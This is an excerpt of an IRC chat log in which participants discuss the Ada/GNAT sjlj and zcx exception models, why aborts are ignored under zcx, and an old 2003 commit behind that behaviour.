1899806;1551386992;asciilifeform;( ye olde msdos did not claim to implement multitasking at all, so dun really belong in this comparison, but the various bolt-on tsr systems for same also had this property ) 1899807;1551387071;diana_coman;well, at least that choice of only sjlj for certified profiles makes some sense since zcx is just not doing the full job as it were 1899808;1551387088;bvt;diana_coman: it seems so, the code for ignoring aborts on zcx was added in 2003 and not touched since that time, so i agree with "broken by design" 1899809;1551387111;asciilifeform;bvt: didja turn up a zcx version with working abort ?! 1899810;1551387172;asciilifeform;cuz that'd be interesting. i initially supposed that it was built as a 'lowest common denominator', i.e. without presumption that os supports preemption 1899811;1551387216;asciilifeform;y'know, same 'thinking' that gave http://btcbase.org/log/2019-01-20#1888514 1899812;1551387216;a111;Logged on 2019-01-20 16:27 asciilifeform: the only reason asmism even potentially invites itself, is that idjit compiler gives no primitive for add/sub-with-carry or full-word mul 1899813;1551387238;*;asciilifeform brb,tea 1899814;1551387348;bvt;asciilifeform: no, did not. my attempt was to use polling pragma, but mircea_popescu made it clear that it's not an option at all. 1899815;1551387441;bvt;ftr, disable-aborts-on-zcx commit from 2003: http://archive.is/qXpQs 1899816;1551387585;bvt;i can try killing that code to see what happens -- i don't even understand why zcx won't just work, and there is no information on this problem in the whole internet 1899817;1551387809;bvt;http://btcbase.org/log/2019-02-23#1898712 << i would also like to have a deeper look at this 'mes' item. is this ok? 1899818;1551387809;a111;Logged on 2019-02-23 05:28 mircea_popescu: in any case, the ownership of this entire thing is clearly established, and entirely nobody the fuck else outside of properly authorized republican hands may fucking touch it.